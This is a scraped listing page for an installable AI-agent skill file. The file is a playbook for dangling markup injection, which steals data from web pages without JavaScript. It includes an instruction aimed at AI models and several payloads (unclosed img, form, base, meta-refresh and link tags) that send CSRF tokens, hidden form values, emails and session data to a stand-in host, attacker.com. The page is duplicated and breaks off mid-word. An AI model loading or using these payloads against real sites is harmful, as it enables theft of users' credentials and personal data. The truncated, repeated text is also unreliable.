dangling-markup-injection

Name: dangling-markup-injection
Author: Prohao42

91stars8forks

How to install dangling-markup-injection?

prohao42/aimy-skill/dangling-markup-injection

$npx -y skills add Prohao42/aimy-skill --skill dangling-markup-injection

Installs into the current project.

Summary

Dangling markup injection playbook. Use when HTML injection is possible but JavaScript execution is blocked (CSP, sanitizer strips event handlers, WAF blocks script tags) — exfiltrate CSRF tokens, session data, and page content by injecting unclosed HTML tags that capture subsequ

Files · 1

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SKILL.md

1	# SKILL: Dangling Markup Injection — Exfiltration Without JavaScript
2
3	> AI LOAD INSTRUCTION: Covers dangling markup exfiltration via unclosed img/form/base/meta/link/table tags, what can be stolen (CSRF tokens, pre-filled form values, sensitive content), browser-specific behavior, and combinations with other attacks. Base models often overlook this technique entirely when CSP blocks scripts, jumping to "not exploitable" — dangling markup is the answer.
4
5	## 0. RELATED ROUTING
6
7	- [xss-cross-site-scripting](../xss-cross-site-scripting/SKILL.md) when full XSS is possible (no need for dangling markup)
8	- [csp-bypass-advanced](../csp-bypass-advanced/SKILL.md) when CSP blocks JS execution — dangling markup bypasses script restrictions
9	- [csrf-cross-site-request-forgery](../csrf-cross-site-request-forgery/SKILL.md) when dangling markup steals CSRF tokens for subsequent CSRF attacks
10	- [crlf-injection](../crlf-injection/SKILL.md) when CRLF enables HTML injection in HTTP response
11	- [web-cache-deception](../web-cache-deception/SKILL.md) when dangling markup + cache poisoning amplifies the attack
12
13	---
14
15	## 1. WHEN TO USE DANGLING MARKUP
16
17	You need dangling markup when ALL of these are true:
18
19	1. You have an HTML injection point (reflected or stored)
20	2. JavaScript execution is blocked:
21	- CSP blocks inline scripts and event handlers
22	- Sanitizer strips `<script>`, `onerror`, `onload`, etc.
23	- WAF blocks known XSS patterns
24	3. The page contains sensitive data AFTER your injection point:
25	- CSRF tokens
26	- Pre-filled form values (email, username, API keys)
27	- Session identifiers in hidden fields
28	- Sensitive user content
29
30	Core insight: You don't need JavaScript to exfiltrate data — you just need the browser to make a request that includes the data in the URL.
31
32	---
33
34	## 2. CORE TECHNIQUE
35
36	Inject an unclosed HTML tag with a `src`, `href`, `action`, or similar attribute pointing to your server. The unclosed attribute quote "consumes" all subsequent page content until the browser finds a matching quote.
37
38	```html
39	Page before injection:
40	<div>Hello USER_INPUT</div>
41	<form>
42	<input type="hidden" name="csrf" value="SECRET_TOKEN_123">
43	<input type="text" name="email" value="user@target.com">
44	</form>
45
46	Injected payload:
47	<img src="https://attacker.com/collect?
48
49	Resulting HTML:
50	<div>Hello <img src="https://attacker.com/collect?</div>
51	<form>
52	<input type="hidden" name="csrf" value="SECRET_TOKEN_123">
53	<input type="text" name="email" value="user@target.com">
54	</form>
55	...rest of page until next matching quote (")...
56	```
57
58	The browser interprets everything from `https://attacker.com/collect?` until the next `"` as the URL. The hidden CSRF token and email value become part of the URL query string sent to `attacker.com`.
59
60	---
61
62	## 3. EXFILTRATION VECTORS
63
64	### 3.1 Image Tag (Most Common)
65
66	```html
67	<!-- Double-quote context -->
68	<img src="https://attacker.com/collect?
69
70	<!-- Single-quote context -->
71	<img src='https://attacker.com/collect?
72
73	<!-- Backtick context (IE only, legacy) -->
74	<img src=`https://attacker.com/collect?
75	```
76
77	The browser sends a GET request to `attacker.com` with all consumed content as query parameters.
78
79	Blocked by: `img-src` CSP directive
80
81	### 3.2 Form Action Hijack
82
83	```html
84	<form action="https://attacker.com/collect">
85	<button>Click to continue</button>
86	<!--
87	```
88
89	If the page has form elements after the injection point, the next `</form>` closes the attacker's form. All input fields between become part of the attacker's form → submitted to attacker on user interaction.
90
91	Blocked by: `form-action` CSP directive
92
93	Trick: Even without user interaction, if there's an existing submit button or JavaScript auto-submit, the form submits automatically.
94
95	### 3.3 Base Tag Hijack
96
97	```html
98	<base href="https://attacker.com/">
99	```
100
101	All subsequent relative URLs on the page resolve to attacker's server:
102	- `<script src="/js/app.js">` → loads `https://attacker.com/js/app.js`
103	- `<a href="/profile">` → links to `https://attacker.com/profile`
104	- `<form action="/submit">` → submits to `https://attacker.com/submit`
105
106	Blocked by: `base-uri` CSP directive
107
108	### 3.4 Meta Refresh Redirect
109
110	```html
111	<meta http-equiv="refresh" content="0;url=https://attacker.com/collect?
112	```
113
114	Redirects the entire page to attacker's server with consumed page content in the URL.
115
116	Blocked by: `navigate-to` CSP directive (rarely set), some browsers ignore meta refresh when CSP is present.
117
118	### 3.5 Link/Stylesheet Exfiltration
119
120	```html
121	<link rel="stylesheet" href="https://attacker.com/collect?
122	```
123
124	Browser requests the URL as a CSS resource, leaking consumed content.
125
126	**B

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dangling-markup-injection

91stars8forks

View on GitHub

How to install dangling-markup-injection?

prohao42/aimy-skill/dangling-markup-injection

$npx -y skills add Prohao42/aimy-skill --skill dangling-markup-injection

Installs into the current project.

Summary

Files · 1

View on GitHub

SKILL.md

1	# SKILL: Dangling Markup Injection — Exfiltration Without JavaScript
2
3	> AI LOAD INSTRUCTION: Covers dangling markup exfiltration via unclosed img/form/base/meta/link/table tags, what can be stolen (CSRF tokens, pre-filled form values, sensitive content), browser-specific behavior, and combinations with other attacks. Base models often overlook this technique entirely when CSP blocks scripts, jumping to "not exploitable" — dangling markup is the answer.
4
5	## 0. RELATED ROUTING
6
7	- [xss-cross-site-scripting](../xss-cross-site-scripting/SKILL.md) when full XSS is possible (no need for dangling markup)
8	- [csp-bypass-advanced](../csp-bypass-advanced/SKILL.md) when CSP blocks JS execution — dangling markup bypasses script restrictions
9	- [csrf-cross-site-request-forgery](../csrf-cross-site-request-forgery/SKILL.md) when dangling markup steals CSRF tokens for subsequent CSRF attacks
10	- [crlf-injection](../crlf-injection/SKILL.md) when CRLF enables HTML injection in HTTP response
11	- [web-cache-deception](../web-cache-deception/SKILL.md) when dangling markup + cache poisoning amplifies the attack
12
13	---
14
15	## 1. WHEN TO USE DANGLING MARKUP
16
17	You need dangling markup when ALL of these are true:
18
19	1. You have an HTML injection point (reflected or stored)
20	2. JavaScript execution is blocked:
21	- CSP blocks inline scripts and event handlers
22	- Sanitizer strips `<script>`, `onerror`, `onload`, etc.
23	- WAF blocks known XSS patterns
24	3. The page contains sensitive data AFTER your injection point:
25	- CSRF tokens
26	- Pre-filled form values (email, username, API keys)
27	- Session identifiers in hidden fields
28	- Sensitive user content
29
30	Core insight: You don't need JavaScript to exfiltrate data — you just need the browser to make a request that includes the data in the URL.
31
32	---
33
34	## 2. CORE TECHNIQUE
35
36	Inject an unclosed HTML tag with a `src`, `href`, `action`, or similar attribute pointing to your server. The unclosed attribute quote "consumes" all subsequent page content until the browser finds a matching quote.
37
38	```html
39	Page before injection:
40	<div>Hello USER_INPUT</div>
41	<form>
42	<input type="hidden" name="csrf" value="SECRET_TOKEN_123">
43	<input type="text" name="email" value="user@target.com">
44	</form>
45
46	Injected payload:
47	<img src="https://attacker.com/collect?
48
49	Resulting HTML:
50	<div>Hello <img src="https://attacker.com/collect?</div>
51	<form>
52	<input type="hidden" name="csrf" value="SECRET_TOKEN_123">
53	<input type="text" name="email" value="user@target.com">
54	</form>
55	...rest of page until next matching quote (")...
56	```
57
58	The browser interprets everything from `https://attacker.com/collect?` until the next `"` as the URL. The hidden CSRF token and email value become part of the URL query string sent to `attacker.com`.
59
60	---
61
62	## 3. EXFILTRATION VECTORS
63
64	### 3.1 Image Tag (Most Common)
65
66	```html
67	<!-- Double-quote context -->
68	<img src="https://attacker.com/collect?
69
70	<!-- Single-quote context -->
71	<img src='https://attacker.com/collect?
72
73	<!-- Backtick context (IE only, legacy) -->
74	<img src=`https://attacker.com/collect?
75	```
76
77	The browser sends a GET request to `attacker.com` with all consumed content as query parameters.
78
79	Blocked by: `img-src` CSP directive
80
81	### 3.2 Form Action Hijack
82
83	```html
84	<form action="https://attacker.com/collect">
85	<button>Click to continue</button>
86	<!--
87	```
88
89	If the page has form elements after the injection point, the next `</form>` closes the attacker's form. All input fields between become part of the attacker's form → submitted to attacker on user interaction.
90
91	Blocked by: `form-action` CSP directive
92
93	Trick: Even without user interaction, if there's an existing submit button or JavaScript auto-submit, the form submits automatically.
94
95	### 3.3 Base Tag Hijack
96
97	```html
98	<base href="https://attacker.com/">
99	```
100
101	All subsequent relative URLs on the page resolve to attacker's server:
102	- `<script src="/js/app.js">` → loads `https://attacker.com/js/app.js`
103	- `<a href="/profile">` → links to `https://attacker.com/profile`
104	- `<form action="/submit">` → submits to `https://attacker.com/submit`
105
106	Blocked by: `base-uri` CSP directive
107
108	### 3.4 Meta Refresh Redirect
109
110	```html
111	<meta http-equiv="refresh" content="0;url=https://attacker.com/collect?
112	```
113
114	Redirects the entire page to attacker's server with consumed page content in the URL.
115
116	Blocked by: `navigate-to` CSP directive (rarely set), some browsers ignore meta refresh when CSP is present.
117
118	### 3.5 Link/Stylesheet Exfiltration
119
120	```html
121	<link rel="stylesheet" href="https://attacker.com/collect?
122	```
123
124	Browser requests the URL as a CSS resource, leaking consumed content.
125
126	**B

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Type